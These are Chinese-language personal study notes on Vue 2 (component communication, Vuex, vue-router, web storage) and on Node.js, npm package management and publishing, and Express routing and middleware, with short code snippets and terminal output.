eventBus,消息订阅,Vuex===>兄弟之间数据通信

1. 组件化编码流程
   • 拆分为各个组件
   • 数据传输，共享
2. props适用
   • 父=====>子
   • 子=====>父 通信（要求父先给子一个函数）
3. 适用v-model是切记，v-model绑定的值不能是props（只读）传过来的值

1. props传过来的若是对象类型，修改的对象中的属性时Vue不会报错，但是不推荐这么做

web Storage

1. 存储的内容大小一般为（5MB）左右（依浏览器）
2. 浏览器通过,sessionStorage,localStorage,属性实现本地存储
3. 相关api:xxxStorage.setItem('key','val')设置存储的键值,xxxStorage.getItem('key')获取键对应的值,xxxStorage.removeItem('key')移除键值,xxxStorage.clear()清空存储的所有数据
4. 备注：
   • sessionStorage存储的内容会随浏览器窗口的关闭而自动清除
   • localStorage存储的内容（永久性），需手动清除
   • getItem('key')，如果key对应的值不存在则返回null
   • 若存储的是对象记得用 JSON.Stringify()转为字符串，使用的时候用JSON.parse()解析为对象

组件的自定义事件（通信方式）

1. 适用于：子—->父
2. 第一种：子父组件中<Demo @test="test"></Demo>,@test表示子组件的自定义事件，test表示父组件接受的事件
3. 第二种

   1 2 3

   mounted(){ this.$refs.xxx.on('xxx',this.test) }

4. 若想让自定义事件执行一次需要用once,或$once
5. 触发自定义事件this.$emit('xxx',数据),解绑自定义事件this.$off('xxx')
6. 组件绑定原生DOM事件，需要用native修饰符
7. 通过this.$refs.xxx.$on('xxx',回调)，回调要么配置在methods中要么用箭头函数，否则this指向会出问题

全局事件总线（GlobalEventBus）

1. 适应于任意组之间的同信

2. 安装

   1 2 3 4 5 6 7

   new Vue({ el: '#app', render: h => h(App), beforeCreate() { Vue.prototype.$bus = this } })

3. 使用

   发送数据

1
2
3
4
5

methods: {
   giveVal() {
     this.$bus.$emit('test', 数据)
   }
 }

接受数据

1
2
3
4
5

mounted() {
    this.$bus.$on('test', (val)=>{
        console.log(val);
    })
  },

1. 最好在beforeDestroy中，用$off解除当前绑定的事件

消息订阅与发布（pubsub）

1. 适用于任意组件同信
2. 安装:npm i pubsub-js，引入：import pubsub from 'pubsub-js'
3. 发布消息

   1	pubsub.publish('xxx',数据)

4. 订阅消息

   1 2 3 4 5 6

   mounted(){ this.pid=pubsub.subscribe('xxx',(msgData,data)=>{ // msgData 订阅号（xxx） // data 订阅的东西（数据） }) }

5. 取消订阅：在beforeDestroy里,pubsub.unsubscribe(this.pid)

$nextTick

1. this.$nextTick(callback)
2. 在下一次dom更新后执行其回调
3. 当改变数据后，要基于更新后的dom进行某些操作，要用到nextTick

Vue过度和动画

1. 内部组件transition
2. 第三方库,npm install animate.css --save,animate.css

   1 2 3 4

   <transition-group name="h" appear=""> <h2 v-show="!isShow" key="1" class="rounded">Hello1</h2> <h2 v-show="isShow" key="2" class="rounded">Hello2</h2> </transition-group>

配置代理 axios

跨域

1. cors
2. jsonp
3. 代理Proxy nginx 代理服务器反向代理，负载均衡

插槽

子组件挖坑，父组件填坑

1. 默认插槽
   <slot></slot>,占位
2. 具名插槽
   <slot name='xxx'></slot>
3. 作用域插槽
   • <slot :test="test"></slot>
   • <template scope="getData"></template>,使用{{getData.data}}

Vuex

vuex

1. 多个组件依赖于同一状态
2. 来自不同组件的行为需要变更同一状态

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

import Vuex from 'vuex'

export default new Vuex.Store({
    state: {
        // 定义了应用状态的数据结构，可以在这里设置默认的初始状态
    },
    getters: {
        // 定义了应用状态的数据结构，可以在这里设置默认的初始状态
        // 加工数据相当于计算属性
    },
    mutations: {
       // commit
       // 唯一更改store中状态的方法，且必须是同步函数；
    },
    actions: {
       // dispatch
       // 用于提交mutation，而不是直接更改状态，包含异步操作；
    },
    modules: {
        // 允许将单一的store拆分为多个store且同时保存在单一的状态树。
    }
})

state

1. 全局数据共享状态，相当于data
2. 读取数据,映射为计算属性
   • this.$store.state.num
   • ...mapState({}) 对象形式
   • ...mapState([]) 数组形式

getters

1. 对state中的数据进行加工，相当于计算属性
2. 读取数据
   • this.$store.getters.xxx
   • ...mapGetters({})
   • ...mapGetters([])

mutations

1. 在methods中， 唯一更改store中状态的方法（同步）
2. 读取数据
   • this.$store.commit()
...mapMutations({})
   • ...mapMutations([])

actions

1. 用于提交mutation（异步）
2. 读取数据
   • this.$store.dispatch()
   • ...mapActions({})
   • ...mapActions([])

modules

1. 将单一的store拆分为多个store

   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39

   const modeleA = { state: { s: 'I am modelueA' }, getters: { }, mutations: { }, actions: { } } const modeluB = { state: { }, getters: { }, mutations: { }, actions: { } } export default new Vuex.Store({ modules: { a: modeleA, b: modeluB } })

Vuex模块化+namesapce

1. 开启命名空间

   1 2 3 4 5 6 7 8 9 10 11 12

   const testModule = { namespaced: true, state: { }, getters: { }, mutations: { }, actions: { }, }

2. 组件中读取state数据

   • this.$store.state.testModule.num
   • ...mapState('testModule',['num','xxx'])
3. 组件中读取getters数据
   • this.$store.getters['testModule/xxx']
   • ...mapGetters('testModule',['xxx'])
4. 组件中调用commit
   • this.$store.commit('testModule/xxx')
   • ...mapMutations('testModule',['xxx','xxx'])
5. 组件中调用dispatch
   • this.$store.dispatch('testModule/xxx')
   • ...mapActions('testModule',['xxx','xxx'])

路由

官网

SPA(single page web application)

1. 安装：npm i vue-router@3 Vue2安装3版本
2. 应用：Vue.use(VueRouter)
3. 配置

1
2
3
4
5
6
7
8
9

import VueRouter from "vue-router";
const routes = [
    { path: '/', name: 'Home', component: () => import('../views/Home') },
    { path: '/about', name: 'About', component: () => import('../views/About') }
]
export default new VueRouter({
    routes
})

1. <router-link to="" active-class=""></router-link> 配置路由切换
2. <router-view></router-view> 组件的呈现位置
3. 每次切换都伴随着组件的销毁和挂载
4. 每个组件都有自己的$route属性，记录着自己的路由信息
5. 整个应用只有一个router,可以通过组件的$router属性获取

6. 多级路由，嵌套

   1 2 3 4 5 6 7 8 9 10

   { path: '/home', name: 'Home', component: () => import('../views/Home'), directive: '/message', children: [ { path: 'message', name: 'Message', component: () => import('../views/Message') }, { path: 'news', name: 'News', component: () => import('../views/News') } ] },

7. <router-link class="nav-link" active-class="active" aria-current="page" to="/home/message">message</router-link>

简化路由

1. 给routes里的每一项加name属性
2. 原来写法：<router-link :to="/home/message/detail?id=${lst.id}&title=${lst.title}">{{lst.title}}</router-link>
3. 现在写法：<router-link :to="{name:'detail',query:{id:lst.id,title:lst.title}}">{{lst.title}}</router-link>

路由的参数携带

1. query

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

// 1.直接传递
 <router-link :to="`/home/message/detail?id=${lst.id}&title=${lst.title}`">
    {{lst.title}}
</router-link> 

// 2.对象形式
<router-link :to="{
    name:'detail',
    // path:'/home/message/detail',
    query:{
        id:lst.id,
        title:lst.title
    }
}">
    {{lst.title}}
</router-link>

1. params

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

// 1.直接传递
 <router-link :to="`/home/message/detail/${lst.id}/${lst.title}`">
    {{lst.title}}
</router-link> 

// 2.对象形式
 <router-link :to="{
    name:'detail',
    params:{
        id:lst.id,
        title:lst.title
    }
}">
    {{lst.title}}
</router-link>

1. 接收数据🎉
   this.$route.query/params.xxx

路由props

1
2
3
4
5
6
7
8
9
10
11

 <router-link :to="{
    name:'detail',
    // path:'/home/message/detail',
    query/params:{
        id:lst.id,
        title:lst.title
    }
}">
    {{lst.title}}
</router-link>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

{
    path: 'detail',
    // path: 'detail/:id/:title', params传递
    name: 'detail',
    component: () => import('../views/Detail'),
    // props第一种写法，值为对象，该对象中所有key-value都会以props的形式传递给Detail组件
    // props: { id: 'id', title: 'title' }  东西是写死的不好

    // prosp第二种，boolean,若为真，会把给路由的params参数传递给组件,query不行
    props: true,

    // props第三种,作为函数
    props($route) {
        return {
            id: $route.query.id,
            title: $route.query.title
        }
    }
}

</router-link>的replaces属性

1. 控制路由跳转是操作浏览器历史记录的模式
2. 浏览器的历史记录有两种:push,repalce,push是追加记录模式，replace是替换当前记录模式，默认为push
3. 开启replace,<router-link repalce></router-link>
4. 就是一个入栈与出站的操作

编程式路由导航

1. push,replace

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

methods: {
    pushShow(lst) {
      this.$router.push({
        name: 'detail',
        // path:'/home/message/detail',
        query: {
          id: lst.id,
          title: lst.title
        }
      })
    },
    replaceShow(lst) {
      this.$router.replace({
        name: 'detail',
        query: {
          id: lst.id,
          title: lst.title
        }
      })
    }
  }

1. back(),forward(),go()

   1 2 3 4 5 6 7 8 9 10 11 12 13 14

   methods: { // 后退 back() { this.$router.back() }, // 前进 forward() { this.$router.forward() }, go() { //前进或，后退n步 this.$router.go(-2) } }

缓存

让对应组件路由保持挂载，不销毁

1
2
3
4

 <!-- 缓存include='xxx' xxx是组件名也就是组件中的name属性-->
<keep-alive include="xxx">
    <router-view></router-view>
</keep-alive>

前提引入

javascript
变量
数据类型
循环
分支
判断
函数
this
作用域
DOM BOM
基于XMLHttpRequest的ajax

浏览器的javascript解析引擎
Chrome V8
DOM API
BOM API
AJAX API

1. 浏览器提供了内置的api,然后我们进行调用
2. 浏览器中的javascript运行环境
   • v8 引擎 解析执行code
   • 内置api 提供特殊的接口

javascript依靠node也可以做后端

node 后端运行环境

what is Node.js
JavaScript runtime built on Chorme v8 javascript engine
基于v8 引擎的javascript运行环境

1. 浏览器是javascript 的前端运行环境
2. Node.js是JavaScript的后端运行环境
3. Node.js 中无法调用DOM和BOM等浏览器内置api

Node.js what do ?

快速构建Web应用 …

Node.js安装

node 模块

模块加载机制

1. 优先从缓存中加载
2. 内置模块的加载优先级最倒
3. 在加载模块时，如果没有执行./或../ 则node 会把它当做内置模块或第三方模块进行加载
4. 在导入模块时，如果没有加扩展名，node会按照顺序加载文件
   • 按照确切的文件名加载
   • 补全.js扩展名
   • 补全.json扩展名
   • 补全.node 扩展名
   • 加载失败
5. 第三方模块加载机制
   从当前的父目录开始，如果没有找到第三方模块，逐级向上寻找指导根目录
6. 目录作为模块
   • package.json 指向main方法指向的.js文件
   • 没有package.json文件加载index.js

自定义模块

fs 文件系统模块

1
2
3

const fs = require('fs')
fs.readFile()
fs.writeFile()

path 路劲模块

1
2
3

const path=require('path')
path.join()
path.basename()

作用域

向外共享模块作用域中的成员

1

module.exports //将模块内的成员共享出去，供外界使用

node.js中的模块规范化

1. CommonJs规定了模块的特性和各模块之间如何相互依赖
2. 加载某个模时，其实是加载该模块的module.exports属性，require()方法用于加载模块

npm包

1. node.js第三方模块又叫包
2. 基于内置模块封装
3. 包和内置模块类似于JQuery和浏览器内置API之间的关系

安装包

1
2
3
4

npm install 包名
npm i 报名
#安装指定版本
npm i @xx.xx.x 

包管理配置文件

package.json

1

npm init -y

当node_modules文件夹被删除后

1
2
3

// 一次性安装package.json中的所用包或指定的包
npm i
npm i 包名

1

npm uninstall 包名

• 将该包放到devDependencies 节点中

  1 2 3

  npm i 包名 -D // 或 npm i 包名 --save-dev

如果某些包在开发和上线后都会用到

• 将该包放到dependencies 节点中

  1	npm i 包名 --save

解决包下载包慢问题

• 默认国外

使用国内镜像

1
2
3
4

淘宝npm镜像
 ·搜索地址：http://npm.taobao.org/
           https://registry.npmmirror.com/
 ·registry地址：http://registry.npm.taobao.org/

1
2
3

cnpmjs镜像
 ·搜索地址：http://cnpmjs.org/
 ·registry地址：http://r.cnpmjs.org/

1
2
3
4
5
6

# 查看当前下包镜像源
npm config get registry
# 切换镜像为淘宝镜像
npm config set registry=http://registry.npm.taobao.org/
# 检查镜像源是否配置成功
npm config get registry

永久配置

1

npm config set registry https://registry.npm.taobao.org

1
2

# https://registry.npmjs.org/
npm config set registry https://registry.npmjs.org/

nrm

快速查看和切换下包镜像源

1
2
3
4
5
6

# 通过npm包管理器，将nrm安装为全局可用工具
npm i nrm -g
# 查看所有可用镜像源
nrm ls
# 下载包镜像源切换为taobao
nrm use taobao

包的分类

项目包分为两类:

• 开发依赖包 (devDependencies 结点中的包，只在开开发期间用到)
• 核心依赖包 (dependencies 结点中的包，在开发期间和项目上线都会用到)

全局包
我的
D:\nodejs\node_global\node_modules

1
2
3

# 安装全局包 -g
npm i [package_name] -g
npm install [package_name] -g 

包的分类

1
2
3
4

# 将i5ting_toc安装为全局包
npm install -g i5ting_toc
# 调用i5ting_toc 轻松实现md转html的功能
i5ting_toc -f 要转换的.md文件路径 -o

发布自己的包

1. 先在npm官网注册账号，让后在终端执行以下
   npm官网
2. 发布前看一看npm镜像是不是官方的镜像若不是则要切换过来（切换为官方镜像）

   1 2 3

   nrm ls # 查看所有镜像 npm config get registry # 查看当前镜像 nrm use xxx(镜像名) # 切换镜像

3. 切换后执行以下

   1 2 3 4 5 6 7 8 9

   PS D:\Web前端学习\NodeJsStudy> npm login Username: lang1210 # 用户名 Password: # 密码（会被隐藏） Email: (this IS public) 2933129083@qq.com #电子邮件 npm notice Please check your email for a one-time password (OTP) # 输入npm 发来的邮件里的OPT code (这里是30736811 ) Enter one-time password from your authenticator app: 30736811 # 成功后的结果 Logged in as lang1210 on https://registry.npmjs.org/.

4. 发布

   注意包名不能相同，发布前先在官网看一看有没有和自己同名的包

   切换到包的目录下执行

   1	npm publish

   success

   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24

   PS D:\Web前端学习\NodeJsStudy> cd .\alang-tools\ PS D:\Web前端学习\NodeJsStudy\alang-tools> npm publish npm notice npm notice package: alang-tools@1.0.0 npm notice === Tarball Contents === npm notice 364B dist/01.test.dev.js npm notice 535B src/dist/dateFormat.dev.js npm notice 565B src/dateFormat.js npm notice 727B src/dist/htmlEscape.dev.js npm notice 831B src/htmlEscape.js npm notice 1.2kB dist/index.dev.js npm notice 260B index.js npm notice 226B package.json npm notice 701B README.md npm notice === Tarball Details === npm notice name: alang-tools npm notice version: 1.0.0 npm notice package size: 2.1 kB npm notice unpacked size: 5.5 kB npm notice shasum: 682e3bfec7a63d51a9fbab0916468a754fdfec43 npm notice integrity: sha512-OdnieY0Ir5lxS[...]MfyyyJfVi/n/Q== npm notice total files: 9 npm notice + alang-tools@1.0.0

5. 删除包

   1	npm unpublish 包名 --force

   注意

   (1) 只能删除72小时内发布的包
   (2) 删除的包，在24小时之内不允许重复发布
   (3) 要慎重，不要发没意义的包（练练手可还行）

express

官方文档

1. express基于内置http模块封装得到（提高开发效率）
2. 类似于Web Api和Jquery 的关系
3. 能做什么
   • Web网站服务器
   • API 接口服务器
4. 安装
   npm install express --save
5. 创建web服务器
6. 托管静态资源
   • express.static
7. 自动启动项目（修改代码后不需重启）
   nodemon test.js
8. 路由
   客户端请求与服务端处理函数之间的额映射关系
   路由匹配

模块化路由

不挂载在app上

1. 创建路由.js文件
2. 调用express.Router()
3. 向路由对象上挂载具体的路由
4. 使用module.exports()向外分享路由对象
5. 使用app.use()函数注册路由模块

中间件

中间件函数的形参列表中，必须包含next参数

1
2
3

app.get('/',function(req,res,next){
    next()
})

• 路由之前定义中间件
• 调用next()之后不能写其他的代码
• 应用级别的中间件绑定到了app上，路由级别的中间件绑定到了router上

1. 错误级别的中间件在路由之后
2. express 内置中间件

   1 2 3

   express.static() express.json() express.urlencode({extend:false})